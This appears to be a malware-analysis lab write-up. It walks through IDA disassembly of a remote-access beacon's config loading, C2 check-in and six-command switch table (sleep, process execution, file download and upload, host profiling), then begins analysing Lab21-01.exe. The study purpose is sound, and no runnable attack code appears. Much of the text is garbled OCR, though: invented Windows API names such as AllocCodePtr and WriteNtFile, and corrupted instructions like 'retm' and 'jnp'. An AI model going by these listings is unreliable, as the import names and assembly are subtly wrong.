52 (gethostbyname)	network	implicit	x	x				ws2_32.dll
111 (WSAGetLastError)	network	implicit	x	x				ws2_32.dll
1 (hsocket)	network	implicit	x	x				ws2_32.dll
9 (tonic)	network	implicit	x	x				ws2_32.dll
23 (socket)	network	implicit	x	x				ws2_32.dll
4 (connect)	network	implicit	x	x				ws2_32.dll
CreateProcessA	execution	implicit	-	x				kernel32.dll
TerminateProcess	execution	implicit	-	x				kernel32.dll
GetEnvironmentStrings	execution	implicit	-	x				kernel32.dll
SetEnvironmentStringW	execution	implicit	-	x				kernel32.dll
RaiseException	exception-handling	implicit	-	x				kernel32.dll
GetModuleFileNameA	dynamic-library	implicit	-	x				kernel32.dll
GetVersionExA	system-information	implicit	-		x			kernel32.dll
GetComputerNameA	system-information	implicit	-			x		kernel32.dll
GetUserNameA	system-information	implicit	-				x	advapi32.dll
GetStringTypeA	memory	implicit	-			x		kernel32.dll
AllocCodePtr	memory	implicit	-			x		kernel32.dll
AllocReadPtr	memory	implicit	-			x		kernel32.dll
HeapFree	memory	implicit	-			x		kernel32.dll
HeapAlloc	memory	implicit	-				x	kernel32.dll
HeapReAlloc	memory	implicit	-				x	kernel32.dll
HeapSize	memory	implicit	-				x	kernel32.dll
HeapDestroy	memory	implicit	-				x	kernel32.dll
HeapCreate	memory	implicit	-				x	kernel32.dll
VirtualAlloc	memory	implicit	-				x	kernel32.dll
VirtualAllocEx	memory	implicit	-				x	kernel32.dll
WriteNtFile	memory	implicit	-				x	kernel32.dll
SetFilesize	file	implicit	-					kernel32.dll
CreateFileA	file	implicit	-					kernel32.dll
WriteFile	file	implicit	-					kernel32.dll
GetFileType	file	implicit	-					kernel32.dll
GetFilePointer	file	implicit	-					kernel32.dll
FlushFileBuffers	file	implicit	-					kernel32.dll
Sleep	execution	implicit	-					kernel32.dll
GetCurrentThread	execution	implicit	-					kernel32.dll
ExitProcess	execution	implicit	-					kernel32.dll
GetCurrentProcess	execution	implicit	-					kernel32.dll
FreeEnvironmentStringsA	execution	implicit	-					kernel32.dll
FreeEnvironmentStringW	execution	implicit	-					kernel32.dll
GetStartupInfoA	execution	implicit	-					kernel32.dll
GetUnhandledException	exception-handling	implicit	-					kernel32.dll
UnhandledExceptionFilter	exception-handling	implicit	-					kernel32.dll
LoadLibraryA	dynamic-library	implicit	-					kernel32.dll
GetProcAddress	dynamic-library	implicit	-					kernel32.dll
GetModuleHandle	diagnostic	implicit	-					kernel32.dll
SetStdHandle	console	implicit	-					kernel32.dll
GetStdHandle	console	implicit	-					kernel32.dll

Of interest is that we can see this has the ability to make network connections, execute processes, and sleep, all of which would be pretty common functions for a remote access tool/trojan which leveraged the sleep API call to allow checking into the C2 periodically.

iii- The function 0x4036F0 is called multiple times and each time it takes the string Config error, followed a few instructions later by a call to CxxThrowException. Does the function take any parameters other than the string? Does the function return anything? What can you tell about this function from the context in which it's used?

If we first examining cross-references to 0x4036F0, we can see that it is called 5 times throughout this program.

Dir...	T.	Address	Text
Up	p	sub_403180+41	call sub_4036F0
Up	p	sub_403180+B9	call sub_4036F0
Up	p	sub_403180+E6	call sub_4036F0
Up	p	sub_403180+170	call sub_4036F0
Up	p	sub_403180+18D	call sub_4036F0

Looking at where these are called we can see they all take place inside of 'sub_403180'. An example of this is shown below.

The screenshot shows a debugger interface with three main windows:

- Graph overview:** A small window on the left showing a call graph with several nodes and edges.
- Assembly View:** The top window displays assembly code for `sub_403180`. It includes variable declarations and a series of `push`, `call`, and `mov` instructions. A red box highlights the `call ds:CreateFileA` instruction.
- Call Stack / Registers View:** The middle window shows the assembly code for the `CxxThrowException` function. A red box highlights the `call __CxxThrowException@8` instruction.
- Assembly View:** The bottom window shows assembly code for `loc_4031D5`, which includes `push`, `call`, and `test` instructions.

To get a bit more of an idea what is being passed to the function, we can examine cross-references to `sub_403180` to see if anything is passed to this subroutine. Immediately we see an '`sub_401EE0`' object being created and the object's 'this' pointer being stored into `ecx`.

The screenshot shows the IDA Pro interface with several windows:

- Graph overview:** A small window showing a summary of the control flow graph.
- Top Window:** Shows assembly code for a function named `sub_401EE0`. It includes a call to `operator new(uint)`, followed by `add esp, 4`, `mov [esp+14h+var_18], eax`, `test eax, eax`, `mov [esp+14h+var_4], 0`, and a jump to `loc_401F24`.
- Middle Left Window:** Shows assembly code for `loc_401F24`, which contains a call to `sub_403180`.
- Middle Right Window:** Shows assembly code for `loc_401F24`, which contains a `xor eax, eax` instruction.
- Bottom Window:** Shows the full assembly code for `sub_401EE0`, including the `endp` instruction.

The assembly code is color-coded: `call` instructions are red, `mov` instructions with memory addresses are yellow, and other `mov` instructions and `xor` are green.

```

sub_401EE0 proc near
    var_10= dword ptr -10h
    var_C= dword ptr -8Ch
    var_4= dword ptr -4
    arg_0= dword ptr 4

    push    0FFFFFFFEh
    push    offset loc_40E82B
    mov     eax, large fs:0
    push    eax
    mov     large fs:0, esp
    push    ecx
    push    esi
    mov     esi, ecx
    push    194h
    call    ?22@VAPAX1@0 ; operator new(uint)
    add    esp, 4
    mov    [esp+14h+var_18], eax
    test   eax, eax
    mov    [esp+14h+var_4], 0
    jz     short loc_401F24

loc_401F24:
    xor    eax, eax

loc_401F26:
    mov    ecx, [esp+14h+var_C]
    mov    [esi], eax
    mov    dword ptr [esi+10h], offset aIndex_html ; "/index.html"
    mov    dword ptr [esi+14h], offset aInfo_html ; "/info.html"
    mov    dword ptr [esi+18h], offset aResponse_html ; "/response.html"
    mov    dword ptr [esi+1Ch], offset aGet_html ; "/get.html"
    mov    dword ptr [esi+20h], offset aPut_html ; "/put.html"
    mov    dword ptr [esi+24h], offset aSrv_html ; "/srv.html"
    mov    dword ptr [esi+28h], 544F4349h
    mov    dword ptr [esi+2Ch], 41534744h
    mov    eax, esi
    pop    esi
    mov    large fs:0, ecx
    add    esp, 10h
    retn   4
sub_401EE0 endp

```

Based on this we know that the function `0x4036F0` doesn't take any parameters other than the Config error string. Taking a look we can see that this same object (which we're beginning to believe is part of an exception object) is used as a parameter to the `CxxThrowException` function.

```

sub    esp, 0B8h
push   esi
push   edi
push   0          ; hTemplateFile
push   0          ; dwFlagsAndAttributes
push   3          ; dwCreationDisposition
push   0          ; lpSecurityAttributes
mov    esi, ecx
push   3          ; dwShareMode
push   00000000h  ; dwDesiredAccess
push   offset FileName ; "conFig.dat"
mov    dword ptr [esi], offset off_41015C
mov    byte ptr [esi+18Ch], 4Eh
call   ds>CreateFileA
mov    edi, eax
cmp    edi, 0FFFFFFFh
jnz   short loc_403105

; N.W.
push   offset aConfigError ; "Config error"
lea    ecx, [esp+0BCh+var_AC]
call  sub_4036F0
lea    eax, [esp+0B8h+var_AC]
push   offset unk_411500
push   eax
call  __CxxThrowException@8 ; _CxxThrowException(x,x)

```

If we examine what's contained within 'sub_4036F0', we find evidence that this is likely setting up an exception to be raised.

```

inc_40376F:
lea    ecx, [esp+30h+arg_0]
mov    [esp+30h+var_4], esi
push   ecx
mov    ecx, ebp
mov    dword ptr [esp+30h+arg_0], offset unk_4143D8
call  ??_except::operator new@@@0 ; exception::exception(char const * const &)
mov    d1, byte ptr [esp+30h+var_18]
lea    ecx, [ebp+8ch]
mov    byte ptr [esp+30h+var_4], 1
mov    [ecx], d1
mov    [ecx+4], esi
mov    [ecx+8], esi
mov    [ecx+0Ch], esi
mov    eax, ds:dword 41011C
lea    edx, [esp+30h+var_1C]
push   eax
push   esi
push   edx
call  sub_401780
mov    eax, [esp+30h+var_18]
mov    dword ptr [ebp+0], offset off_4103D8
cmp    eax, esi
jz    short loc_4037DA

```

Based on all of this context, and by examining the patterns which occur right before 0x4036F0 is called, we can infer that these are all exception objects which raise an exception if the specified config.dat file doesn't exist or is invalid.

iv- What do the six entries in the switch table at 0x4025C8 do?

If we jump to 0x4025C8 we find the six entries in the switch table which are referenced at 0x40252A.

```

>C7          nop
>C7 ; 
>C8 off_4025C8    dd offset loc_402561      ; DATA XREF: .text:0040252A|
>C8           dd offset loc_402531      ; jump table for switch statement
>C8           dd offset loc_402559
>C8           dd offset loc_40253B
>C8           dd offset loc_402545
>C8           dd offset loc_40254F
>E0

|  |

```

If we follow this reference, we can see that this is triggered by a reference at 0x402500.

```

0251D
0251D loc_40251D:          ; CODE XREF: .text:00402500t
0251D     xor    eax, eax
0251F     mov    al, [esi+4]
02522     add    eax, 0FFFFFF9Fh ; switch 6 cases
02525     cmp    eax, 5
02528     ja     short loc_40257D ; default
0252A     jmp    ds:off_4025C8[eax*4] ; switch jump
02531

```

If we continue tracking back what kicks this off, we can find at 'loc_402410' there's a cross-reference to an offset within 'sub_403BE0'. This is ultimately what kicks off any one of these switches to occur.

```

var_14= dword ptr -14h
var_18= dword ptr -18h
var_4= dword ptr -4

push    ebp
mov     ebp, esp
push    0FFFFFFFh
push    offset loc_40EA4B
mov     eax, large fs:0
push    eax
mov     large fs:0, esp
sub    esp, 0Ch
push    ebx
push    esi
push    edi
xor    ebx, ebx
mov     [ebp+var_18], esp
push    30h
mov     [ebp+var_4], ebx
call    ??2@VAPAXI0Z ; operator new(uint)
mov     ecx, eax
add    esp, 4
mov     [ebp+var_14], ecx
cmp    ecx, ebx
mov     byte ptr [ebp+var_4], 1
jz     short loc_403C2B

```

```

push    offset FileName ; "config.dat"
call    sub_401EE0
mov     esi, eax
jmp    short loc_403C2D

```

```

loc_403C2B:
xor    esi, esi

```

```

loc_403C2D:
mov    ecx, esi
mov    byte ptr [ebp+var_4], bl
call    sub_401F88
mov    edi, ds:Sleep

```

```

loc_403C3D:
mov    eax, [esi]
mov    eax, [eax+190h]
lea    eax, [eax+eax*4]
lea    eax, [eax+eax*4]
lea    ecx, [eax+eax*4]
shl    ecx, 2
push   ecx          ; dwMilliseconds
call    edi ; Sleep
mov    ecx, esi
call    loc_402410
inc    ebx
jmp    short loc_403C3D
sub_403BE0 endp

```

If we were to look at what calls this, we'd find it is the only call within our `_main` method which is kicked off shortly after the program 'start' method runs. Of interest in the above is that we can see a looping function and a call to 'sleep'. Right before this happens there's a call to 'sub_401F80' which we'll examine further.

```

NUL
mov    eax, [esi]
mov    edx, [eax+144h]
add    eax, 104h
push   edx          ; hostshort
push   eax          ; char *
call   sub_403D50
mov    ebx, eax

loc_401FDE:
mov    ecx, esi
mov    byte ptr [ebp+var_4], 0
call   sub_402FF0
mov    esi, eax
or     ecx, 0xFFFFFFFFh
mov    edi, esi
xor    eax, eax
repne scasb
mov    edi, [ebp+var_14]
not    ecx
mov    eax, [edi+10h]
dec    ecx
push   ecx
push   esi
push   eax
mov    ecx, ebx
call   sub_404ED0
pushn  esi          ; void *
call   ??3@YAXPAXBZ      ; operator delete(void *)
add    esp, 4
lea    ecx, [ebp+var_18]
mov    [ebp+var_18], 0
push   ecx
mov    ecx, ebx
call   sub_404810
mov    esi, eax
mov    eax, [ebp+var_18]
push   eax
push   esi
mov    ebx, eax
call   sub_4015C0
add    esp, 8
cmp    ebx, 11Ch
mov    [ebp+var_1C], esi
jnb    short loc_402059

```

In the above we find 5 calls to subroutines to examine further.


- sub_403D50

```

hostshort= word ptr  8

sub    esp, 1Ch
xor    eax, eax
push   ebx
mov    ebx, [esp+28h+arg_0]
push   esi
mov    esi, ecx
push   edi
mov    ecx, 20h
lea    edx, [esi+1Ch]
push   80h          ; size_t
mov    edi, edx
mov    dword ptr [esi+18h], 0FFFFFFFh
mov    dword ptr [esi], offset off_410178
push   ebx          ; char *
rep stosd
push   edx          ; char *
call   strncat
mov    dword ptr [esi+4], offset aInternetExplor ; "Internet Explorer 10.0"
mov    al, byte_413460
add    esp, 0Ch
test   al, al
jz    short loc_403DA2

```



```

loc_403DA2:
lea    edi, [esi+8]
push  ebx          ; cp
mov   ecx, esi
mov   word ptr [edi], 2
call  sub_4042C0
mov   [esi+0Ch], eax
mov   eax, dword ptr [esp+28h+hostshort]
push  eax          ; hostshort
call  ds:htons
push  6            ; protocol
push  1            ; type
push  2            ; af
mov   [esi+8Ah], ax
call  ds:socket
cmp   eax, 0FFFFFFFh
mov   [esi+18h], eax
jnz   short loc_403DF5

```



```

push  offset aSocketConnecti ; "Socket Connection Error"
lea   ecx, [esp+2Ch+var_1C]
call  sub_405400
lea   ecx, [esp+28h+var_1C]
push  offset unk_4117C8
push  ecx
call  __CxxThrowException@8 ; __CxxThrowException(x,x)

```

Based on the above User-Agent string and API calls, we can assume this plays the role of establishing a connection to the C2.

- sub_402FF0



Based on the above strings and API calls, we can assume this plays the role of gathering initial system information to send back to the C2.

- sub_404ED0


```
sub_404ED0 proc near
arg_0= dword ptr 4
arg_4= dword ptr 8
arg_8= dword ptr 0Ch

mov    eax, [esp+arg_8]
mov    edx, [esp+arg_4]
push   offset aData ; "data="
push   eax
push   edx
push   eax
call  sub_404EF0
ret   0Ch
sub_404ED0 endp
```




This subroutine has a number of subroutines which are called; however, at a glance we can see that this is likely playing the role of posting the gathered data back to the C2, or making a GET request to it.

- sub_404B10



Based on the above strings and errors being called, we can assume this is receiving the response to our request and checking to see if it matches an expected valid HTTP response.

- sub_4015C0



Based on the above strings and what looks to be Base64 index_strings, we can assume this is Base64-encoding or decoding the response received from the C2 server.

At this point we have a good idea of what actions the Beacon will take prior to 'loc_402410' inevitably calling the switch table at 0x4025C8. We also know that the six entries in this switch table are likely six different actions to take based on the response received from the C2.

To find out what each of the switch entries does we can investigate them further.

- loc_402561

```

.....
.text:00402561 loc_402561:          ; CODE XREF: .text:0040252A1j
.text:00402561                         ; .text:004025891j ...
.text:00402561 push    esi             ; case 0x61
.text:00402562 call    7730E90XPAHZ      ; operator delete(void *)
.text:00402562 mov     ecx, [ebp 0Ch]
.text:00402563 add    esp, 4
.text:0040256D mov     al, 1
.text:0040256F mov     large fs:0, ecx
.text:00402576 pop    edi
.text:00402577 pop    esi
.text:00402578 pop    ebx
.text:00402579 mov     esp, ebp
.text:0040257B pop    ebp
.text:0040257C reta
.....

```

This is case 0x61, and from the above we can see that this looks to delete the object which called it, but nothing else.

- loc_402531

```

loc_402531:          ; DATA XREF: .text:0FF_4025C81o
push    esi             ; case 0x62
mov     ecx, ebx
call    sub_4025E0
jmp    short loc_402561 ; case 0x61
.....

```

This is case 0x62, and from the above we can see that this calls 'sub_4025E0' before executing case 0x61. Examining sub_4025E0 we can see that this looks to call atoi used in parsing a string into a number before this is passed to a 'sleep' API call.

```
sub_4025E0 proc near

var_20= dword ptr -2Ch
var_10= dword ptr -18h
var_C= dword ptr -8Ch
var_4= dword ptr -4
arg_0= dword ptr 8

push    ebp
mov     ebp, esp
push    0xFFFFFFFFh
push    offset loc_40E8CB
mov     eax, large fs:0
push    eax
mov     large fs:0, esp
sub    esp, 28h
mov     eax, [ebp+arg_0]
push    ebx
push    esi
push    edi
lea     edx, [eax+5]
or      ecx, 0xFFFFFFFFh
mov     edi, edx
xor     eax, eax
repne scasd
not    ecx
dec    ecx
mov     [ebp+var_10], esp
mov     [ebp+var_4], 0
jnz    short loc_40263D
```

```
push    offset aArgParsingError : "Arg parsing error"
lea     ecx, [ebp+var_2C]
call    sub_403A20
lea     ecx, [ebp+var_2C]
push    offset unk_4112A8
push    ecx
call    CxxThrowExceptionB8 : CxxThrowException(x,x)
```

```
loc_402630:          ; char *
push    edx
call    atoi
add    esp, 4
push    eax
call    ds:Sleep
```

loc_402637:
mov eax, offset loc_402640
ret

```
loc_402640:  
mov    ecx, [ebp+var_C]  
pop    edi  
pop    esi  
mov    al, 1  
mov    large fs:0, ecx  
pop    ebx  
mov    esp, ebp  
pop    ebp  
retm   4  
sub    4025E8, endo
```

This tells us that case 0x62 is likely designed to notify the beacon to sleep for a certain amount of time before checking back in for new commands.

- loc 402559

```
.text:00402559 loc_402559:          ; CODE XREF: .text:0040252A+j  
.text:00402559                         ; DATA XREF: .text:0FF_4025C840  
.text:00402559     push    esi           ; case 0x63  
.text:0040255A     mov     ecx, ebx  
.text:0040255C     call    sub_402F80  
.text:00402561  
.text:00402561 loc_402561:          ; CODE XREF: .text:0040252A+j  
.text:00402561                         ; .text:00402539+j ...  
.text:00402561     push    esi           ; case 0x61  
.text:00402562     call    ??3@VAFXAPI@Z  
.text:00402567     mov     ecx, [ebp-0Ch]      ; operator delete(void *)  
.text:00402568     add     esp, 4  
.text:0040256D     mov     al, 1  
.text:0040256F     mov     large fs:0, ecx  
.text:00402576     pop    edi  
.text:00402577     pop    esi  
.text:00402578     pop    ebx  
.text:00402579     mov     esp, ebp  
.text:0040257B     pop    ebp  
.text:0040257C     retn
```

This is case 0x63, and from the above we can see that this calls 'sub_402F80' before flowing into and executing case 0x61. Examining 'sub_402F80' we don't find much besides another call to 'sub_402EF0'. By looking at sub_402EF0, we can see that this looks to call CreateProcessA in order to run a command sent to it.

```

xor    eax, eax
push   edi
mov    [esp+74h+hObject], eax
mov    ecx, 11h
mov    [esp+11h], eax
lea    edi, [esp+74h+StartupInfo]
mov    [esp+11h], eax
lea    edx, [esp+74h+StartupInfo]
rep stosd
lea    ecx, [esp+74h+hObject]
mov    [esp+100h], eax
push   ecx      ; lpProcessInformation
push   edx      ; lpStartupInfo
push   eax      ; lpCurrentDirectory
push   eax      ; lpEnvironment
push   eax      ; dwCreationFlags
push   eax      ; bInheritHandles
push   eax      ; lpThreadAttributes
push   eax      ; lpProcessAttributes
mov    eax, [esp+94h+lpCommandLine]
mov    [esp+94h+StartupInfo.cb], 44h
push   eax      ; lpCommandLine
push   0          ; lpApplicationName
call   ds>CreateProcessA
test   eax, eax
pop    edi
jnz   short loc_402F5B

```

Block N41

```

push  offset aCreateProcessF ; "Create Process Failed"
lea   ecx, [esp+74h+var_60]
call  sub_403910
lea   ecx, [esp+70h+var_60]
push  offset unk_411150
push  ecx
call  __CxxThrowException@8 ; __CxxThrowException(x,x)

```

Block N42

```

loc_402F5B:
mov   edx, [esp+70h+hObject]
push  esi
mov   esi, ds:CloseHandle
push  edx      ; hObject
call  esi ; CloseHandle
mov   eax, [esp+11h]
push  eax      ; hObject
call  esi ; CloseHandle
mov   al, 1
pop   esi
add   esp, 70h
ret   4
sub_402EF0 endp


```

This tells us that case 0x63 is likely designed to start a process sent down from the C2 thus executing a command tasked to the beacon.

- loc_40253B

```
.text:0040253B
.text:0040253B loc_40253B:
.text:0040253B
▶.text:0040253B          push    esi      ; CODE XREF: .text:0040252A↑j
*.text:0040253C          mov     ecx, ebx  ; DATA XREF: .text:0FF_4025C8↑o
*.text:0040253E          call    sub_402BA0  ; case 0x64
*.text:00402543          jmp     short loc_402561 ; case 0x61
.text:00402545 :
```

This is case 0x64, and from the above we can see that this calls ‘sub_402BA0’ before executing case 0x61. Examining ‘sub_402BA0’ we can see that it calls ‘sub_402A20’ with some parameters including ‘lpFileName’. If we look into what ‘sub_402A20’ is doing we see some familiar calls associated with connecting to the C2 and checking the response is valid.




In addition the above shows us evidence of a file being written to disk from the response received, and an error message associated with downloading a file.

This tells us that case 0x64 is likely designed to download a file from the C2.

- loc_402545

```
.text:00402545
.text:00402545 loc_402545:          ; CODE XREF: .text:0040252A↑j
.text:00402545                           ; DATA XREF: .text:0FF_4025CB40
.text:00402545     push    esi           ; case 0x65
.text:00402546     mov     ecx, ebx
.text:00402548     call    sub_402C70
.text:0040254D     jmp    short loc_402561 ; case 0x61
```

This is case 0x65, and from the above we can see that this calls 'sub_402C70' before executing case 0x61. Examining 'sub_402C70' we can see that it calls 'sub_4027E0'. If we look into what 'sub_4027E0' is doing we can see a call to CreateFileA which in this instance looks to be getting a handle on a file before its bytes are read in a looping function and it is uploaded to the C2.



This tells us that case 0x65 is likely designed to upload a file to the C2.

- loc 40254F

```
.text:0040254F ; CODE XREF: .text:0040252A+j
.text:0040254F loc_40254F: ; DATA XREF: .text:0FF_4025C8+j
.text:0040254F
.text:0040254F push    esi      ; case 0x66
.text:00402550 mov     ecx, ebx
.text:00402552 call    sub_402D30
.text:00402557 jnp     short loc_402561 ; case 0x61
.text:00402559
```

This is case 0x66, and from the above we can see that this calls 'sub_402D30' before executing case 0x61. Examining 'sub_402D30' we find that this looks to be gathering information about the machine it is being run on which will be sent back to the C2.

```

loc_402DC1:
    lea     ecx, [esp+20h+var_1FC]
    lea     edx, [esp+20h+var_1FB]
    push   ecx ; nSize
    push   edx ; lpBuffer
    call   ds:GetComputerNameA
    test  eax, eax
    jnz   short loc_402DF2

loc_402DF2:
    mov   ecx, 25h
    xor   eax, eax
    lea   edi, [esp+20h+VersionInformation]
    push  ebx
    rep stosd
    lea   ecx, [esp+20h+VersionInformation]
    push  esi ; lpVersionInformation
    mov   [esp+21h+VersionInformation.dwVersionInfoSize], 0ah
    call   ds:GetVersionExA ; Get extended information about the
                           ; version of the operating system
    call   ds:GetSystemDefaultLCID
    push  00h ; size_t
    mov   esi, eax
    call   _malloc
    mov   edx, [esp+21h+VersionInformation.dwMinorVersion]
    mov   ebx, eax
    mov   eax, [esp+21h+VersionInformation.dwMajorVersion]
    push  esi
    push  edx
    lea   ecx, [esp+21h+var_1F8]
    push  eax
    lea   edx, [esp+21h+Buffer]
    push  ecx
    push  edx
    push  offset userSHostSMajor ; "user-<s>, host-<s>, Major Version-<d>, Min...
    push  ebx ; char *
    call   _printf
    mov   edi, ebx
    or    ecx, @FFFFFFFh
    xor   eax, eax
    leave

loc_402D90:
    push  offset FileName ; "config.dat"
    call   sub_401EE0
    mov   esi, eax
    jmp   short loc_403C2D

```

This tells us that case 0x66 is likely designed to profile a system and send the information back to the C2.

v-What is the purpose of this program?

If we view 'sub_401EE0' which is run after taking the config.dat file as a parameter.

```

push  offset FileName ; "config.dat"
call  sub_401EE0
mov   esi, eax
jmp   short loc_403C2D

```

We can see this is once again creating an exception object, in addition to specifying the resources which are present for commands to be retrieved from the C2.

```
sub_401EE0 proc near

var_10= dword ptr -10h
var_C= dword ptr -0Ch
var_4= dword ptr -4
arg_0= dword ptr 4

push    0FFFFFFFh
push    offset loc_40E82B
mov     eax, large fs:0
push    eax
mov     large fs:0, esp
push    ecx
push    esi
mov     esi, ecx
push    10h
call    ?? @_YAPAXI@Z      ; operator new(uint)
add    esp, 4
mov     [esp+14h+var_10], eax
test   eax, eax
mov     [esp+14h+var_4], 0
jz     short loc 401F24
```



```
loc_401F26:  
mov    ecx, [esp+14h+var_C]  
mov    [esi], eax  
mov    dword ptr [esi+10h], offset aIndex_html ; "/index.html"  
mov    dword ptr [esi+14h], offset aInfo_html ; "/info.html"  
mov    dword ptr [esi+18h], offset aResponse_html ; "/response.html"  
mov    dword ptr [esi+1Ch], offset aGet_html ; "/get.html"  
mov    dword ptr [esi+20h], offset aPut_html ; "/put.html"  
mov    dword ptr [esi+24h], offset aSrv_html ; "/srv.html"  
mov    dword ptr [esi+28h], 'TOCI'  
mov    dword ptr [esi+2Ch], 'ASGD'  
mov    eax, esi  
pop    esi  
mov    large fs:0, ecx  
add    esp, 10h  
retn   4  
sub_401EE0 endp
```


We also know that this sends a beacon to the C2 and has a number of operations which could occur based on the C2 server response including:

- Notifying the beacon to sleep for a specified number of seconds.
- Notifying the beacon to start an arbitrary process.
- Notifying the beacon to download a file from the C2.
- Notifying the beacon to upload a file to the C2.
- Notifying the beacon to profile a system and send the information back to the C2.

g- Analyze the code in *Lab21-01.exe*

i-What happens when you run this program without any parameters?

If we attempt to run this in a x86 (32-bit) OS, we're presented with an error message that it is not compatible with this version of windows as it has been compiled for a 64-bit OS.




Attempting to run this in a 64-bit OS with a tool such as procmon running reveals that it simply exits and doesn't do anything of interest.

Time	Process Name	PID	Operation	Path
203:1...	Lab21-01.exe	2468	Process Start	
203:1...	Lab21-01.exe	2468	Thread Create	
203:1...	Lab21-01.exe	2468	Load Image	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
203:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\ntdll.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\Prefetch\LAB21-01.EXE-F0E4D618.pf
203:1...	Lab21-01.exe	2468	CreateFile	C:\Users\User\Desktop\BinaryCollection\Chapter_21L
203:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\kernel32.dll
203:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\KernelBase.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\conhost.exe
203:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\conhost.exe
203:1...	Lab21-01.exe	2468	Process Create	C:\Windows\System32\Conhost.exe
203:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\KernelBase.dll
203:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\KernelBase.dll
203:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\kernel32.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\apphelp.dll
203:1...	Lab21-01.exe	2468	QueryBasicInfor...	C:\Windows\System32\apphelp.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\apphelp.dll
203:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\apphelp.dll
203:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\apphelp.dll
203:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\apphelp.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\vt.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\kernel32.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\KernelBese.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\apppatch\sysmain.sdb
203:1...	Lab21-01.exe	2468	CreateFile	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\apppatch\sysmain.sdb
203:1...	Lab21-01.exe	2468	QueryBasicInfor...	C:\Windows\apppatch\sysmain.sdb
203:1...	Lab21-01.exe	2468	QueryBasicInfor...	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
203:1...	Lab21-01.exe	2468	CreateFile	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
203:1...	Lab21-01.exe	2468	QueryBasicInfor...	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
203:1...	Lab21-01.exe	2468	Thread Create	
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\pcrt4.dll
203:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\ws2_32.dll
203:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\ws2_32.dll
203:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
203:1...	Lab21-01.exe	2468	Thread Exit	
203:1...	Lab21-01.exe	2468	Thread Exit	
203:1...	Lab21-01.exe	2468	Process Exit	
203:1...	Lab21-01.exe	2468	RegSetValue	HKLM\System\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-38 Lab21-01.exe

ii-Depending on your version of IDA Pro, main may not be recognized automatically. How can you identify the call to the main function?


If we open this in IDA Free 7.0 as a standard AMD64 PE file...




We find that we're dumped into the main function located at 0x1400010C0.

```
00000001400010C0 ; int __cdecl main(int argc, const char **argv, const char **envp)
00000001400010C0 main proc near
00000001400010C0
00000001400010C0 g= dword ptr -340h
00000001400010C0 dwFlags= dword ptr -338h
00000001400010C0 name= sockaddr ptr -330h
00000001400010C0 WSADATA= WSADATA ptr -320h
00000001400010C0 var_181= byte ptr -181h
00000001400010C0 Str1= byte ptr -180h
00000001400010C0 var_17C= dword ptr -17Ch
00000001400010C0 var_170= xmmword ptr -170h
00000001400010C0 var_160= qword ptr -160h
00000001400010C0 var_158= qword ptr -158h
00000001400010C0 var_150= qword ptr -150h
00000001400010C0 var_148= qword ptr -148h
00000001400010C0 var_140= byte ptr -140h
00000001400010C0 Filename= byte ptr -130h
00000001400010C0 Dst= byte ptr -12Fh
00000001400010C0 var_20= qword ptr -20h
00000001400010C0 arg_8= qword ptr 10h
00000001400010C0 arg_8= qword ptr 18h
00000001400010C0 arg_10= qword ptr 20h
00000001400010C0 arg_18= qword ptr 28h
00000001400010C0
```

If we instead open this in another disassembler which doesn't identify the main function, in this case we'll open it in [Cutter](#), if we enable offset visibility in Cutter preferences, we can see we start at 0x140001750.



To identify the call to our main function we will need to look for a call, likely after any 'GetCommandLineA' checks which may be present. If we examine the underlying structure of this PE file using Detect-It-Easy (DIE), we can see it was created in C++.



iii-What is being stored on the stack in the instructions from 0x0000000140001150 to 0x0000000140001161?

If we jump to '0x140001150', we can see that some large hexadecimal values are being stored on the stack.

```

0000000140001150 mov    byte ptr [rbp+260h+var_170+0Ch], 0
0000000140001157 mov    dword ptr [rbp+260h+Str1], 2E6C636Fh
0000000140001161 mov    [rbp+260h+var_17C], 657865h
000000014000116B mov    [rbp+260h+var_140], al
0000000140001171 mov    [rbp+260h+Filename], 0
0000000140001178 call   memset
000000014000117D lea    rdx, [rbp+260h+Filename] ; lpFilename
0000000140001184 mov    r8d, 10Eh           ; nSize
000000014000118A xor    ecx, ecx           ; hModule
000000014000118C call   cs:GetModuleFileNameA
0000000140001192 lea    rcx, [rbp+260h+Filename] ; Str

```

If we press 'R' on these to convert them to an ASCII string, we find the following.

```

0000000140001150 mov    byte ptr [rbp+260h+var_170+0Ch], 0
0000000140001157 mov    dword ptr [rbp+260h+Str1], '.lco'
0000000140001161 mov    [rbp+260h+var_17C], 'exe'

```


